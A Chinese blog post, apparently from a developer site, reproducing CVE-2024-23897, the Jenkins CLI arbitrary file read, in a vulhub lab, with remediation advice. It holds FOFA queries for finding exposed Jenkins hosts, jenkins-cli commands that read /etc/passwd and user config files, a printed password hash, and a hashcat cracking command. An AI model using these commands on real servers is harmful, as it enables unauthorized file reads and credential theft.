CVE-2024-23897-Jenkins任意文件读取漏洞复现

content

Jenkins是什么

Jenkins是一人基于Java开发的、可扩展的持续集成引擎,用于持续、自动地构建/测试软件项目,可以监控一些定时执行的任务。

官网文档:

Jenkins是一款开源 CI&CD 软件,用于自动化各种任务,包括构建、测试和部署软件。 Jenkins

支持各种运行方式,可通过系统包、Docker 或者通过一个独立的 Java 程序。

持续集成引擎:

持续集成引擎就像是软件开发中的智能管家,能自动收集开发人员编写的代码并整合到一起,然后像组装机器一样对代码进行检查和组装,使其成为可运行的软件,接着还会对软件进行各种测试,一旦发现问题就及时告知开发人员,通过不断地重复这些操作,确保软件能快速、高质量地完成开发,而 Jenkins 就是这样一个基于 Java 开发的、能实现这些功能的持续集成引擎工具。

CVE-2024-23897

CVE - 2024 - 23897是Jenkins存在的一个任意文件读取漏洞。Jenkins为用户提供了命令行接口,用户能够借助jenkins - cli.jar调用该接口,进而执行Jenkins的部分功能。然而,当使用jenkins - cli.jar执行命令行操作时,服务端会利用第三方库args4j对命令行进行解析。在解析过程中,若参数以@开头,系统就会把它认定为一个文件名,随后读取该文件的内容并将其作为参数。这一机制存在风险,一旦参数设置不当,就可能引发报错,且报错信息会将文件内容显示出来,从而导致任意文件读取的情况发生。

目前我的能力只能把漏洞打一遍,原理分析请看P神的原理分析文章

受影响版本:

Jenkins 版本<= 2.441

Jenkins 版本<= LTS 2.426.2

fofa:

xml 复制代码
app="jenkins"

or

xml 复制代码
header="X-Jenkins" || banner="X-Jenkins" || header="X-Hudson" || banner="X-Hudson" || header="X-Required-Permission: hudson.model.Hudson.Read" || banner="X-Required-Permission: hudson.model.Hudson.Read" || body="Jenkins-Agent-Protocols"

vulhub开启靶场环境,访问本机8080端口

访问http://靶场IP:8080/jnlpJars/jenkins-cli.jar

触发漏洞,但是这个命令只能读取部分内容

powershell 复制代码
java -jar .\jenkins-cli.jar -s http://127.0.0.1:8080/ -http help 1 "@etc/passwd"

读取/proc/self/environ

一些命令输出行数较多,比如connect-node这个命令

powershell 复制代码
java -jar .\jenkins-cli.jar -s http://127.0.0.1:8080/  connect-node "@etc/passwd"

如果开启了Allow anonymous read access就可以读取全部文件内容,靶场应该是默认开启了

Jenkins 安装将有一个文件/var/jenkins_home/users/users.xml,其中列出了此处的所有有效用户

powershell 复制代码
java -jar jenkins-cli.jar -s http://localhost:8080/ connect-node "/var/jenkins_home/users/users.xml"

这里读出来admin

users.xml显示系统上的单个用户,admin,其信息文件夹为/var/jenkins_home/users/admin_5965741382068509608

在 Jenkins 上的每个用户文件夹中,始终有一个包含用户密码哈希的config.xml文件。

所以现在读取/var/jenkins_home/users/admin_5965741382068509608/config.xml

powershell 复制代码
java -jar jenkins-cli.jar -s http://localhost:8080/ connect-node "/var/jenkins_home/users/admin_5965741382068509608/config.xml"

读取到:

xml 复制代码
<passwordHash>#jbcrypt:$2a$10$b3fbT8hnHMeZ4CfoVZLTQOgAYbbl8nlQfVGeMhEozzooQDABlEtOG</passwordHash>

下面用kali自带字典和工具爆破密码

首先把$2a$10$b3fbT8hnHMeZ4CfoVZLTQOgAYbbl8nlQfVGeMhEozzooQDABlEtOG写入txt文件,再把rockyou.txt复制到当前路径

powershell 复制代码
hashcat -m 3200 info.txt rockyou.txt

开始爆破

但是尴尬了,报错* Device #1: Not enough allocatable device memory for this attack.我kali内存不够了,当时只分配了2G。

这边就直接说密码了,vulhub环境这个Jenkins密码是vulhub。用admin/vulhub登录成功。

登进后台安全管理界面可以发现Allow anonymous read access恰好是开启的。

总结

Jenkins提供了一个命令行的接口,jenkins-clijar是它的命令行客户端,通过jenkins-clijar可以去执行一些Jenkins中的功能。

利用条件:Jenkins 版本<= 2.441 和Jenkins 版本<= LTS 2.426.2+开启了Allow anonymous read access(读取完整文件)

流程:

因此根本原因是args4j这个库解析参数不当造成的

修复建议

Jenkins更新到最新版本

禁用Allow anonymous read access选项

相关推荐
晚风吹长发7 分钟前
Docker使用——Docker容器及相关命令
linux·运维·服务器·docker·容器·架构
ShiXZ21316 分钟前
Docker Compose 安装与配置指南
运维·docker·容器
麦聪聊数据31 分钟前
企业数据市场建设(四):流程闭环与价值运营,让数据市场真正转起来
运维·数据库
是潮汕的灿灿展吖1 小时前
Centos离线部署nfs操作
linux·运维·centos
FII工业富联科技服务1 小时前
从灯塔工厂到AI Factory新模式:AI正在重构制造业的四大核心能力
大数据·运维·人工智能·重构·ar·制造
小五传输1 小时前
自主可控建设指南:Serv-u替代方案,实现平滑迁移业务不中断
大数据·运维·安全
jun_bai1 小时前
Orthanc服务器使用java上传dicom影像文件
java·运维·服务器
BullSmall1 小时前
Anolis OS 8.10 Docker 部署 SonarQube 9.9 完整教程
运维·docker·容器
AAA@峥1 小时前
CentOS7 搭建 ELK 企业级日志集群:从部署到日志可视化完整实战
运维·elk·centos
ZKNOW甄知科技2 小时前
燕千云深度集成飞书:以AI之力,开启无感IT运维体验
大数据·运维·网络·数据库·人工智能·低代码·集成学习